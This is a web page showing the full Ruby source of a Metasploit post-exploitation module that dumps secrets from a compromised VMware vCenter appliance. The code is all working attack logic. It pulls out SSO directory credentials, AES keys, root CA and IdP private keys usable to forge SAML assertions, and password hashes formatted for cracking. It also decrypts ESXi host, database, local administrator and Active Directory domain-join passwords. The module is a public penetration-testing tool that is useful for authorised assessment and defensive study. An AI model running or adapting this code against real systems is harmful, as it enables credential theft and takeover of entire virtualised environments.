Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/vcenter_secrets_dump.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'67class MetasploitModule < Msf::Post8include Msf::Post::Common9include Msf::Post::File10include Msf::Auxiliary::Report11include Msf::Post::Linux::Priv12include Msf::Post::Vcenter::Vcenter13include Msf::Post::Vcenter::Database1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'VMware vCenter Secrets Dump',20'Description' => %q{21Grab secrets and keys from the vCenter server and add them to22loot. This module is tested against the vCenter appliance only;23it will not work on Windows vCenter instances. It is intended to24be run after successfully acquiring root access on a vCenter25appliance and is useful for penetrating further into the26environment following a vCenter exploit that results in a root27shell.2829Secrets include the dcAccountDN and dcAccountPassword for30the vCenter machine which can be used for maniuplating the SSO31domain via standard LDAP interface; good for plugging into the32vmware_vcenter_vmdir_ldap module or for adding new SSO admin33users. The MACHINE_SSL, VMCA_ROOT and SSO IdP certificates with34associated private keys are also plundered and can be used to35sign forged SAML assertions for the /ui admin interface.36},37'Author' => [38'npm[at]cesium137.io', # original vcenter secrets dump39'Erik Wynter', # @wyntererik, postgres additions40'h00die' # tying it all together41],42'Platform' => [ 'linux', 'unix' ],43'DisclosureDate' => '2022-04-15',44'SessionTypes' => [ 'meterpreter', 'shell' ],45'License' => MSF_LICENSE,46'Actions' => [47[48'Dump',49{50'Description' => 'Dump vCenter Secrets'51}52]53],54'DefaultAction' => 'Dump',55'References' => [56[ 'URL', 'https://github.com/shmilylty/vhost_password_decrypt' ],57[ 'CVE', '2022-22948' ],58[ 'URL', 'https://pentera.io/blog/information-disclosure-in-vmware-vcenter/' ],59[ 'URL', 'https://github.com/ErikWynter/metasploit-framework/blob/vcenter_gather_postgresql/modules/post/multi/gather/vmware_vcenter_gather_postgresql.rb' ]60],61'Notes' => {62'Stability' => [ CRASH_SAFE ],63'Reliability' => [ ],64'SideEffects' => [ IOC_IN_LOGS ]65}66)67)68register_advanced_options([69OptBool.new('DUMP_VMDIR', [ true, 'Extract SSO domain information', true ]),70OptBool.new('DUMP_VMAFD', [ true, 'Extract vSphere certificates, private keys, and secrets', true ]),71OptBool.new('DUMP_SPEC', [ true, 'If DUMP_VMAFD is enabled, attempt to extract VM Guest Customization secrets from PSQL', true ]),72OptBool.new('DUMP_LIC', [ true, 'If DUMP_VMDIR is enabled, attempt to extract vSphere license keys', false ])73])74end7576# this is only here because of the SSO portion, which will get moved to the vcenter lib once someone is able to provide output to test against.77def ldapsearch_bin78'/opt/likewise/bin/ldapsearch'79end8081def psql_bin82'/opt/vmware/vpostgres/current/bin/psql'83end8485def vcenter_management86vc_type_embedded || vc_type_management87end8889def vcenter_infrastructure90vc_type_embedded || vc_type_infrastructure91end9293def check_cve_2022_2294894# https://github.com/PenteraIO/CVE-2022-22948/blob/main/CVE-2022-22948-scanner.sh#L595cmd_exec('stat -c "%G" "/etc/vmware-vpx/vcdb.properties"') == 'cis'96end9798def run99get_vcsa_version100101if check_cve_2022_22948102print_good('Vulnerable to CVE-2022-22948')103report_vuln(104host: rhost,105port: rport,106name: name,107refs: ['CVE-2022-22948'],108info: "Module #{fullname} found /etc/vmware-vpx/vcdb.properties owned by cis group"109)110end111112print_status('Validating target')113validate_target114115print_status('Gathering vSphere SSO domain information')116vmdir_init117118print_status('Extracting PostgreSQL database credentials')119get_db_creds120121print_status('Extract ESXi host vpxuser credentials')122enum_vpx_user_creds123124if datastore['DUMP_VMDIR'] && vcenter_infrastructure125print_status('Extracting vSphere SSO domain secrets')126vmdir_dump127end128129if datastore['DUMP_VMAFD']130print_status('Extracting certificates from vSphere platform')131vmafd_dump132if datastore['DUMP_SPEC'] && vcenter_management133print_status('Searching for secrets in VM Guest Customization Specification XML')134enum_vm_cust_spec135end136end137138if is_root?139print_status('Retrieving .pgpass file')140retrieved_pg_creds = false141pgpass_contents = process_pgpass_file142143pgpass_contents.each do |p|144extra_service_data = {145address: p['hostname'] =~ /localhost|127.0.0.1/ ? Rex::Socket.getaddress(rhost) : p['hostname'],146port: p['port'],147service_name: 'psql',148protocol: 'tcp',149workspace_id: myworkspace_id,150module_fullname: fullname,151origin_type: :service152}153print_good(".pgpass creds found: #{p['username']}, #{p['password']} for #{p['hostname']}:#{p['database']}")154store_valid_credential(user: p['username'], private: p['password'], service_data: extra_service_data, private_type: :password)155next if p['database'] != 'postgres'156157next unless retrieved_pg_creds == false158159creds = query_pg_shadow_values(p['password'], p['username'], p['database'])160retrieved_pg_creds = true unless creds.nil?161creds.each do |cred|162print_good("posgres database creds found: #{cred['user']}, #{cred['password_hash']}")163credential_data = {164username: cred['user'],165private_data: cred['password_hash'],166private_type: :nonreplayable_hash,167jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])168}.merge(extra_service_data)169170login_data = {171core: create_credential(credential_data),172status: Metasploit::Model::Login::Status::UNTRIED173}.merge(extra_service_data)174175create_credential_login(login_data)176end177end178path = store_loot('.pgpass', 'text/plain', session, pgpass_contents, 'pgpass.json')179print_good("Saving the /root/.pgpass contents to #{path}")180end181end182183def vmdir_init184self.keystore = {}185186vsphere_machine_id = get_machine_id187if is_uuid?(vsphere_machine_id)188vprint_status("vSphere Machine ID: #{vsphere_machine_id}")189else190print_bad('Invalid vSphere PSC Machine UUID returned from vmafd-cli')191end192193vsphere_domain_name = get_domain_name194unless is_fqdn?(vsphere_domain_name)195fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vSphere SSO domain name via lwregshell')196end197198self.base_fqdn = vsphere_domain_name.to_s.downcase199vprint_status("vSphere SSO Domain FQDN: #{base_fqdn}")200201vsphere_domain_dn = 'dc=' + base_fqdn.split('.').join(',dc=')202self.base_dn = vsphere_domain_dn203vprint_status("vSphere SSO Domain DN: #{base_dn}")204205vprint_status('Extracting dcAccountDN and dcAccountPassword via lwregshell on local vCenter')206vsphere_domain_dc_dn = get_domain_dc_dn207unless is_dn?(vsphere_domain_dc_dn)208fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountDN from lwregshell')209end210211self.bind_dn = vsphere_domain_dc_dn212print_good("vSphere SSO DC DN: #{bind_dn}")213self.bind_pw = get_domain_dc_password214unless bind_pw215fail_with(Msf::Exploit::Failure::Unknown, 'Could not determine vmdir dcAccountPassword from lwregshell')216end217218print_good("vSphere SSO DC PW: #{bind_pw}")219# clean up double quotes220# originally we wrapped in singles, but escaping of single quotes was not working, so prefer doubles221self.bind_pw = bind_pw.gsub('"') { '\\"' }222self.shell_bind_pw = "\"#{bind_pw}\""223224extra_service_data = {225address: Rex::Socket.getaddress(rhost),226port: 389,227service_name: 'ldap',228protocol: 'tcp',229workspace_id: myworkspace_id,230module_fullname: fullname,231origin_type: :service,232realm_key: Metasploit::Model::Realm::Key::WILDCARD,233realm_value: base_fqdn234}235236store_valid_credential(user: bind_dn, private: bind_pw, service_data: extra_service_data)237238get_aes_keys_from_host239end240241def vmdir_dump242print_status('Dumping vmdir schema to LDIF and storing to loot...')243vmdir_ldif = get_ldif_contents(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)244if vmdir_ldif.nil?245print_error('Error processing LDIF file')246return247end248249p = store_loot('vmdir', 'LDIF', rhost, vmdir_ldif, 'vmdir.ldif', 'vCenter vmdir LDIF dump')250print_good("LDIF Dump: #{p}")251252print_status('Processing vmdir LDIF (this may take several minutes)')253ldif_file = ::File.open(p, 'rb')254ldif_data = Net::LDAP::Dataset.read_ldif(ldif_file)255256print_status('Processing LDIF entries')257entries = ldif_data.to_entries258259print_status('Processing SSO account hashes')260vmware_sso_hash_entries = entries.select { |entry| entry[:userpassword].any? }261process_hashes(vmware_sso_hash_entries)262263print_status('Processing SSO identity sources')264vmware_sso_id_entries = entries.select { |entry| entry[:vmwSTSConnectionStrings].any? }265process_sso_providers(vmware_sso_id_entries)266267if datastore['DUMP_LIC']268print_status('Extract licenses from vCenter platform')269vmware_license_entries = entries.select { |entry| entry[:vmwLicSvcLicenseSerialKeys].any? }270get_vc_licenses(vmware_license_entries)271end272end273274def vmafd_dump275if vcenter_infrastructure276get_vmca_cert277get_idp_creds278end279280vecs_stores = get_vecs_stores281return if vecs_stores.nil?282283if vecs_stores.empty?284print_error('Empty vecs-cli store list returned from vCenter')285return286end287288vecs_stores.each do |vecs_store|289vecs_entries = get_vecs_entries(vecs_store)290vecs_entries.each do |vecs_entry|291next unless vecs_entry['Entry type'] == 'Private Key'292293get_vecs_entry(vecs_store, vecs_entry)294end295end296end297298def get_vecs_entry(store_name, vecs_entry)299store_label = store_name.upcase300301vprint_status("Extract #{store_label} key")302key = get_vecs_private_key(store_name, vecs_entry['Alias'])303if key.nil?304print_bad("Could not extract #{store_label} private key")305else306p = store_loot(vecs_entry['Alias'], 'PEM', rhost, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")307print_good("#{store_label} Key: #{p}")308end309310vprint_status("Extract #{store_label} certificate")311cert = validate_x509_cert(vecs_entry['Certificate'])312if cert.nil?313print_bad("Could not extract #{store_label} certificate")314return315end316p = store_loot(vecs_entry['Alias'], 'PEM', rhost, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")317print_good("#{store_label} Cert: #{p}")318319unless key.nil?320update_keystore(cert, key)321end322end323324def get_vmca_cert325vprint_status('Extract VMCA_ROOT key')326327unless file_exist?('/var/lib/vmware/vmca/privatekey.pem') && file_exist?('/var/lib/vmware/vmca/root.cer')328print_error('Could not locate VMCA_ROOT keypair')329return330end331332vmca_key_b64 = read_file('/var/lib/vmware/vmca/privatekey.pem')333334vmca_key = validate_pkey(vmca_key_b64)335if vmca_key.nil?336print_error('Could not extract VMCA_ROOT private key')337return338end339340p = store_loot('vmca', 'PEM', rhost, vmca_key, 'VMCA_ROOT.key', 'vCenter VMCA root CA private key')341print_good("VMCA_ROOT key: #{p}")342343vprint_status('Extract VMCA_ROOT cert')344vmca_cert_b64 = read_file('/var/lib/vmware/vmca/root.cer')345346vmca_cert = validate_x509_cert(vmca_cert_b64)347if vmca_cert.nil?348print_error('Could not extract VMCA_ROOT certificate')349return350end351352unless vmca_cert.check_private_key(vmca_key)353print_error('VMCA_ROOT certificate and private key mismatch')354return355end356357p = store_loot('vmca', 'PEM', rhost, vmca_cert, 'VMCA_ROOT.pem', 'vCenter VMCA root CA certificate')358print_good("VMCA_ROOT cert: #{p}")359360update_keystore(vmca_cert, vmca_key)361end362363# Shamelessly borrowed from vmware_vcenter_vmdir_ldap.rb364def process_hashes(entries)365if entries.empty?366print_warning('No password hashes found')367return368end369370service_details = {371workspace_id: myworkspace_id,372module_fullname: fullname,373origin_type: :service,374address: rhost,375port: '389',376protocol: 'tcp',377service_name: 'vmdir/ldap'378}379380entries.each do |entry|381# This is the "username"382dn = entry.dn383384# https://github.com/vmware/lightwave/blob/3bc154f823928fa0cf3605cc04d95a859a15c2a2/vmdir/server/middle-layer/password.c#L32-L76385type, hash, salt = entry[:userpassword].first.unpack('CH128H32')386387case type388when 1389unless hash.length == 128390vprint_error("Type #{type} hash length is not 128 digits (#{dn})")391next392end393394unless salt.length == 32395vprint_error("Type #{type} salt length is not 32 digits (#{dn})")396next397end398399# https://github.com/magnumripper/JohnTheRipper/blob/2778d2e9df4aa852d0bc4bfbb7b7f3dde2935b0c/doc/DYNAMIC#L197400john_hash = "$dynamic_82$#{hash}$HEX$#{salt}"401else402vprint_error("Hash type #{type.inspect} is not supported yet (#{dn})")403next404end405406print_good("vSphere SSO User Credential: #{dn}:#{john_hash}")407408create_credential(service_details.merge(409username: dn,410private_data: john_hash,411private_type: :nonreplayable_hash,412jtr_format: Metasploit::Framework::Hashes.identify_hash(john_hash)413))414end415end416417def process_sso_providers(entries)418if entries.empty?419print_warning('No SSO ID provider information found')420return421end422423if entries.is_a?(String)424entries = entries.split("\n")425end426427entries.each do |entry|428sso_prov_type = entry[:vmwSTSProviderType].first429sso_conn_str = entry[:vmwSTSConnectionStrings].first430sso_user = entry[:vmwSTSUserName].first431432# On vCenter 7.x instances the tenant AES key was always Base64 encoded vs. plaintext, and vmwSTSPassword was missing from the LDIF dump.433# It appears that vCenter 7.x does not return vmwSTSPassword even with appropriate LDAP flags - this is not like prior versions.434# The data can still be extracted directly with ldapsearch syntax below which works in all versions, but is a PITA.435vmdir_user_sso_pass = cmd_exec("#{ldapsearch_bin} -h #{vc_psc_fqdn} -LLL -p 389 -b \"cn=#{base_fqdn},cn=Tenants,cn=IdentityManager,cn=Services,#{base_dn}\" -D \"#{bind_dn}\" -w #{shell_bind_pw} \"(&(objectClass=vmwSTSIdentityStore)(vmwSTSConnectionStrings=#{sso_conn_str}))\" \"vmwSTSPassword\" | awk -F 'vmwSTSPassword: ' '{print $2}'").split("\n").last436sso_pass = tenant_aes_decrypt(vmdir_user_sso_pass)437438sso_domain = entry[:vmwSTSDomainName].first439440sso_conn_uri = URI.parse(sso_conn_str)441442extra_service_data = {443address: Rex::Socket.getaddress(rhost),444port: sso_conn_uri.port,445service_name: sso_conn_uri.scheme,446protocol: 'tcp',447workspace_id: myworkspace_id,448module_fullname: fullname,449origin_type: :service,450realm_key: Metasploit::Model::Realm::Key::WILDCARD,451realm_value: sso_domain452}453454store_valid_credential(user: sso_user, private: sso_pass, service_data: extra_service_data)455print_status('Found SSO Identity Source Credential:')456print_good("#{sso_prov_type} @ #{sso_conn_str}:")457print_good("\t SSOUSER: #{sso_user}")458print_good("\t SSOPASS: #{sso_pass}")459print_good("\tSSODOMAIN: #{sso_domain}")460end461end462463def get_aes_keys_from_host464print_status('Extracting tenant and vpx AES encryption key...')465466tenant_key = get_aes_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)467fail_with(Msf::Exploit::Failure::Unknown, 'Error extracting tenant and vpx AES encryption key') if tenant_key.nil?468469tenant_key.each do |aes_key|470aes_key_len = aes_key.length471# our first case is to process it out472case aes_key_len473when 16474self.vc_tenant_aes_key = aes_key475self.vc_tenant_aes_key_hex = vc_tenant_aes_key.unpack('H*').first476vprint_status("vCenter returned a plaintext AES key: #{aes_key}")477when 24478self.vc_tenant_aes_key = Base64.strict_decode64(aes_key)479self.vc_tenant_aes_key_hex = Base64.strict_decode64(aes_key).unpack('H*').first480vprint_status("vCenter returned a Base64 AES key: #{aes_key}")481when 64482self.vc_sym_key = aes_key.scan(/../).map(&:hex).pack('C*')483self.vc_sym_key_raw = aes_key484print_good('vSphere vmware-vpx AES encryption')485print_good("\tHEX: #{aes_key}")486else487print_error("Invalid tenant AES encryption key size - expecting 16 raw bytes or 24 Base64 bytes, got #{aes_key_len}")488next489end490491extra_service_data = {492address: Rex::Socket.getaddress(rhost),493protocol: 'tcp',494workspace_id: myworkspace_id,495module_fullname: fullname,496origin_type: :service,497realm_key: Metasploit::Model::Realm::Key::WILDCARD,498realm_value: base_fqdn499}500# our second case is to store it correctly501case aes_key_len502when 16, 24503print_good('vSphere Tenant AES encryption')504print_good("\tKEY: #{vc_tenant_aes_key}")505print_good("\tHEX: #{vc_tenant_aes_key_hex}")506507store_valid_credential(user: 'STS AES key', private: vc_tenant_aes_key, service_data: extra_service_data.merge({508port: 389,509service_name: 'ldap'510}))511when 64512store_valid_credential(user: 'VPX AES key', private: vc_sym_key_raw, service_data: extra_service_data.merge({513port: 5432,514service_name: 'psql'515}))516end517end518end519520def tenant_aes_decrypt(b64)521# https://github.com/vmware/lightwave/blob/master/vmidentity/idm/server/src/main/java/com/vmware/identity/idm/server/CryptoAESE.java#L44-L45522ciphertext = Base64.strict_decode64(b64)523decipher = OpenSSL::Cipher.new('aes-128-ecb')524decipher.decrypt525decipher.padding = 0526decipher.key = vc_tenant_aes_key527return (decipher.update(ciphertext) + decipher.final).delete("\000")528rescue StandardError => e529elog('Error performing tenant_aes_decrypt', error: e)530fail_with(Msf::Exploit::Failure::Unknown, 'Error performing tenant_aes_decrypt')531end532533def update_keystore(public_key, private_key)534if public_key.is_a? String535cert = validate_x509_cert(public_key)536else537cert = public_key538end539if private_key.is_a? String540key = validate_pkey(private_key)541else542key = private_key543end544cert_thumbprint = OpenSSL::Digest::SHA1.new(cert.to_der).to_s545keystore[cert_thumbprint] = key546rescue StandardError => e547elog('Error updating module keystore', error: e)548fail_with(Msf::Exploit::Failure::Unknown, 'Error updating module keystore')549end550551def get_idp_creds552vprint_status('Fetching objectclass=vmwSTSTenantCredential via vmdir LDAP')553idp_keys = get_idp_keys(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)554if idp_keys.nil?555print_error('Error processing IdP trusted certificate private key')556return557end558559idp_certs = get_idp_certs(base_fqdn, vc_psc_fqdn, base_dn, bind_dn, shell_bind_pw)560if idp_certs.nil?561print_error('Error processing IdP trusted certificate chain')562return563end564565vprint_status('Parsing vmwSTSTenantCredential certificates and keys')566567# vCenter vmdir stores the STS IdP signing credential under the following DN:568# cn=TenantCredential-1,cn=<sso domain>,cn=Tenants,cn=IdentityManager,cn=Services,<root dn>569570sts_cert = nil571sts_key = nil572sts_pem = nil573idp_keys.each do |stskey|574idp_certs.each do |stscert|575next unless stscert.check_private_key(stskey)576577sts_cert = stscert.to_pem.to_s578sts_key = stskey.to_pem.to_s579if validate_sts_cert(sts_cert)580vprint_status('Validated vSphere SSO IdP certificate against vSphere IDM tenant certificate')581else # Query IDM to compare our extracted cert with the IDM advertised cert582print_warning('Could not reconcile vmdir STS IdP cert chain with cert chain advertised by IDM - this credential may not work')583end584sts_pem = "#{sts_key}#{sts_cert}"585end586end587588unless sts_pem # We were unable to link a public and private key together589print_error('Unable to associate IdP certificate and private key')590return591end592593p = store_loot('idp', 'application/x-pem-file', rhost, sts_key, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')594print_good("SSO_STS_IDP key: #{p}")595596p = store_loot('idp', 'application/x-pem-file', rhost, sts_cert, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')597print_good("SSO_STS_IDP cert: #{p}")598599update_keystore(sts_cert, sts_key)600end601602def get_vc_licenses(entries)603if entries.empty?604print_warning('No vSphere Licenses Found')605return606end607608if entries.is_a?(String)609entries = entries.split("\n")610end611612entries.each do |entry|613vc_lic_name = entry[:vmwLicSvcLicenseName].first614vc_lic_type = entry[:vmwLicSvcLicenseType].first615vc_lic_key = entry[:vmwLicSvcLicenseSerialKeys].first616vc_lic_label = "#{vc_lic_name} #{vc_lic_type}"617618extra_service_data = {619address: Rex::Socket.getaddress(rhost),620port: 443,621service_name: 'https',622protocol: 'tcp',623workspace_id: myworkspace_id,624module_fullname: fullname,625origin_type: :service,626realm_key: Metasploit::Model::Realm::Key::WILDCARD,627realm_value: base_fqdn628}629630store_valid_credential(user: vc_lic_label, private: vc_lic_key, service_data: extra_service_data)631print_good("\t#{vc_lic_label}: #{vc_lic_key}")632end633end634635def enum_vm_cust_spec636vpx_customization_specs = get_vpx_customization_spec(shell_vcdb_pass, vcdb_user, vcdb_name)637638if vpx_customization_specs.nil?639print_warning('No vpx_customization_spec entries evident')640return641end642643vpx_customization_specs.each do |spec|644xmldoc = vpx_customization_specs[spec]645646unless (enc_cert_len = xmldoc.at_xpath('/ConfigRoot/encryptionKey/_length').text.to_i)647print_error("Could not determine DER byte length for vpx_customization_spec '#{spec}'")648next649end650651enc_cert_der = []652der_idx = 0653654print_status('Validating data encipherment key')655while der_idx <= enc_cert_len - 1656enc_cert_der << xmldoc.at_xpath("/ConfigRoot/encryptionKey/e[@id=#{der_idx}]").text.to_i657der_idx += 1658end659660enc_cert = validate_x509_cert(enc_cert_der.pack('C*'))661if enc_cert.nil?662print_error("Invalid encryption certificate for vpx_customization_spec '#{spec}'")663next664end665666enc_cert_thumbprint = OpenSSL::Digest::SHA1.new(enc_cert.to_der).to_s667vprint_status("Secrets for '#{spec}' were encrypted using public certificate with SHA1 digest #{enc_cert_thumbprint}")668669unless (enc_keystore_entry = keystore[enc_cert_thumbprint])670print_warning('Could not associate encryption public key with any of the private keys extracted from vCenter, skipping')671next672end673674vc_cipher_key = validate_pkey(enc_keystore_entry)675if vc_cipher_key.nil?676print_error("Could not access private key for VM Guest Customization Template '#{spec}', cannot decrypt")677next678end679680unless enc_cert.check_private_key(vc_cipher_key)681print_error("vCenter private key does not associate with public key for VM Guest Customization Template '#{spec}', cannot decrypt")682next683end684685key_digest = OpenSSL::Digest::SHA1.new(vc_cipher_key.to_der).to_s686vprint_status("Decrypt using #{vc_cipher_key.n.num_bits}-bit #{vc_cipher_key.oid} SHA1: #{key_digest}")687688# Check for static local machine password689if (sysprep_element_unattend = xmldoc.at_xpath('/ConfigRoot/identity/guiUnattended'))690next unless sysprep_element_unattend.at_xpath('//guiUnattended/password/plainText')691692secret_is_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/plainText').text693694case secret_is_plaintext.downcase695when 'true'696secret_plaintext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text697when 'false'698secret_ciphertext = sysprep_element_unattend.xpath('//guiUnattended/password/value').text699ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse700secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")701else702print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")703next704end705print_status("Initial administrator account password found for vpx_customization_spec '#{spec}':")706print_good("\tInitial Admin PW: #{secret_plaintext}")707708extra_service_data = {709address: Rex::Socket.getaddress(rhost),710port: 445,711protocol: 'tcp',712service_name: 'Windows',713workspace_id: myworkspace_id,714module_fullname: fullname,715origin_type: :service,716realm_key: Metasploit::Model::Realm::Key::WILDCARD,717realm_value: '.'718}719720store_valid_credential(user: '(local built-in administrator)', private: secret_plaintext, service_data: extra_service_data)721end722723# Check for account used for domain join724next unless (domain_element_unattend = xmldoc.at_xpath('//identification'))725next unless domain_element_unattend.at_xpath('//identification/domainAdminPassword/plainText')726727secret_is_plaintext = domain_element_unattend.xpath('//identification/domainAdminPassword/plainText').text728domain_user = domain_element_unattend.xpath('//identification/domainAdmin').text729domain_base = domain_element_unattend.xpath('//identification/joinDomain').text730731case secret_is_plaintext.downcase732when 'true'733secret_plaintext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text734when 'false'735secret_ciphertext = sysprep_element_unattend.xpath('//identification/domainAdminPassword/value').text736ciphertext_bytes = Base64.strict_decode64(secret_ciphertext.to_s).reverse737secret_plaintext = vc_cipher_key.decrypt(ciphertext_bytes, rsa_padding_mode: 'pkcs1').delete("\000")738else739print_error("Malformed XML received from vCenter for VM Guest Customization Template '#{spec}'")740next741end742743print_status("AD domain join account found for vpx_customization_spec '#{spec}':")744745case domain_base.include?('.')746when true747print_good("\tAD User: #{domain_user}@#{domain_base}")748when false749print_good("\tAD User: #{domain_base}\\#{domain_user}")750end751print_good("\tAD Pass: #{secret_plaintext}")752753extra_service_data = {754address: Rex::Socket.getaddress(rhost),755port: 445,756protocol: 'tcp',757service_name: 'Windows',758workspace_id: myworkspace_id,759module_fullname: fullname,760origin_type: :service,761realm_key: Metasploit::Model::Realm::Key::WILDCARD,762realm_value: domain_base763}764765store_valid_credential(user: domain_user, private: secret_plaintext, service_data: extra_service_data)766end767end768769def enum_vpx_user_creds770vpxuser_rows = get_vpx_users(shell_vcdb_pass, vcdb_user, vcdb_name, vc_sym_key)771772if vpxuser_rows.nil?773print_warning('No ESXi hosts attached to this vCenter system')774return775end776777vpxuser_rows.each do |user|778print_good("ESXi Host #{user['fqdn']} [#{user['ip']}]\t LOGIN: #{user['user']} PASS: #{user['password']}")779780extra_service_data = {781address: user['ip'],782port: 22,783protocol: 'tcp',784service_name: 'ssh',785workspace_id: myworkspace_id,786module_fullname: fullname,787origin_type: :service,788realm_key: Metasploit::Model::Realm::Key::WILDCARD,789realm_value: user['fqdn']790}791792# XXX is this always root? store_valid_credential(user: 'root', private: user['password'], service_data: extra_service_data)793store_valid_credential(user: user['user'], private: user['password'], service_data: extra_service_data)794end795end796797def get_db_creds798db_properties = process_vcdb_properties_file799800self.vcdb_name = db_properties['name']801self.vcdb_user = db_properties['username']802self.vcdb_pass = db_properties['password']803804self.shell_vcdb_pass = "'#{vcdb_pass.gsub("'") { "\\'" }}'"805806print_good("\tVCDB Name: #{vcdb_name}")807print_good("\tVCDB User: #{vcdb_user}")808print_good("\tVCDB Pass: #{vcdb_pass}")809810extra_service_data = {811address: Rex::Socket.getaddress(rhost),812port: 5432,813service_name: 'psql',814protocol: 'tcp',815workspace_id: myworkspace_id,816module_fullname: fullname,817origin_type: :service,818realm_key: Metasploit::Model::Realm::Key::WILDCARD,819realm_value: vcdb_name820}821822store_valid_credential(user: vcdb_user, private: vcdb_pass, service_data: extra_service_data)823print_status('Checking for VPX Users')824creds = query_vpx_creds(vcdb_pass, vcdb_user, vcdb_name, vc_sym_key_raw)825if creds.nil?826print_bad('No VPXUSER entries were found')827return828end829creds.each do |cred|830extra_service_data = {831address: cred['ip_address'],832service_name: 'vpx',833protocol: 'tcp',834workspace_id: myworkspace_id,835module_fullname: fullname,836origin_type: :service,837realm_key: Metasploit::Model::Realm::Key::WILDCARD,838realm_value: vcdb_name839}840if cred.key? 'decrypted_password'841print_good("VPX Host creds found: #{cred['user']}, #{cred['decrypted_password']} for #{cred['ip_address']}")842credential_data = {843username: cred['user'],844private_data: cred['decrypted_password'],845private_type: :password846}.merge(extra_service_data)847else848print_good("VPX Host creds found: #{cred['user']}, #{cred['password_hash']} for #{cred['ip_address']}")849credential_data = {850username: cred['user'],851private_data: cred['password_hash'],852private_type: :nonreplayable_hash853# this is encrypted, not hashed, so no need for the following line, leaving it as a note854# jtr_format: Metasploit::Framework::Hashes.identify_hash(cred['password_hash'])855}.merge(extra_service_data)856end857858login_data = {859core: create_credential(credential_data),860status: Metasploit::Model::Login::Status::UNTRIED861}.merge(extra_service_data)862863create_credential_login(login_data)864end865end866867def validate_sts_cert(test_cert)868cert = validate_x509_cert(test_cert)869return false if cert.nil?870871vprint_status('Downloading advertised IDM tenant certificate chain from http://localhost:7080/idm/tenant/ on local vCenter')872873idm_cmd = cmd_exec("curl -f -s http://localhost:7080/idm/tenant/#{base_fqdn}/certificates?scope=TENANT")874875if idm_cmd.blank?876print_error('Unable to query IDM tenant information, cannot validate ssoserverSign certificate against IDM')877return false878end879880if (idm_json = JSON.parse(idm_cmd).first)881idm_json['certificates'].each do |idm|882cert_verify = validate_x509_cert(idm['encoded'])883if cert_verify.nil?884print_error('Invalid x509 certificate extracted from IDM!')885return false886end887next unless cert == cert_verify888889return true890end891else892print_error('Unable to parse IDM tenant certificates downloaded from http://localhost:7080/idm/tenant/ on local vCenter')893return false894end895896print_error('No vSphere IDM tenant certificates returned from http://localhost:7080/idm/tenant/')897false898end899900def validate_target901if vcenter_management902vc_db_type = get_database_type903unless vc_db_type == 'embedded'904fail_with(Msf::Exploit::Failure::NoTarget, "This module only supports embedded PostgreSQL, appliance reports DB type '#{vc_db_type}'")905end906907unless command_exists?(psql_bin)908fail_with(Msf::Exploit::Failure::NoTarget, "Could not find #{psql_bin}")909end910end911912self.vcenter_fqdn = get_fqdn913if vcenter_fqdn.nil?914print_bad('Could not determine vCenter DNS FQDN')915self.vcenter_fqdn = ''916end917918vsphere_machine_ipv4 = get_ipv4919if vsphere_machine_ipv4.nil? || !Rex::Socket.is_ipv4?(vsphere_machine_ipv4)920print_bad('Could not determine vCenter IPv4 address')921else922print_status("Appliance IPv4: #{vsphere_machine_ipv4}")923end924925self.vc_psc_fqdn = get_platform_service_controller(vc_type_management)926os, build = get_os_version927928print_status("Appliance Hostname: #{vcenter_fqdn}")929print_status("Appliance OS: #{os}-#{build}")930host_info = {931host: session.session_host,932name: vcenter_fqdn,933os_flavor: os,934os_sp: build,935purpose: 'server',936info: 'vCenter Server'937}938if os.downcase.include? 'linux'939host_info[:os_name] = 'linux'940end941report_host(host_info)942end943944def get_vcsa_version945self.vc_type_embedded = false946self.vc_type_infrastructure = false947self.vc_type_management = false948949vcsa_type = get_deployment_type950case vcsa_type951when nil952fail_with(Msf::Exploit::Failure::BadConfig, 'Could not find /etc/vmware/deployment.node.type')953when 'embedded' # Integrated vCenter and PSC954self.vc_deployment_type = 'vCenter Appliance (Embedded)'955self.vc_type_embedded = true956when 'infrastructure' # PSC only957self.vc_deployment_type = 'vCenter Platform Service Controller'958self.vc_type_infrastructure = true959when 'management' # vCenter only960self.vc_deployment_type = 'vCenter Appliance (Management)'961self.vc_type_management = true962else963fail_with(Msf::Exploit::Failure::Unknown, "Unable to determine appliance deployment type returned from server: #{vcsa_type}")964end965966if vcenter_management967self.vcsa_build = get_vcenter_build968end969970print_status(vcsa_build)971print_status(vc_deployment_type)972end973974private975976attr_accessor :base_dn, :base_fqdn, :bind_dn, :bind_pw, :keystore, :shell_bind_pw, :shell_vcdb_pass, :vc_deployment_type, :vc_psc_fqdn, :vc_sym_key, :vc_sym_key_raw, :vc_tenant_aes_key, :vc_tenant_aes_key_hex, :vc_type_embedded, :vc_type_infrastructure, :vc_type_management, :vcdb_name, :vcdb_pass, :vcdb_user, :vcenter_fqdn, :vcsa_build977end978979980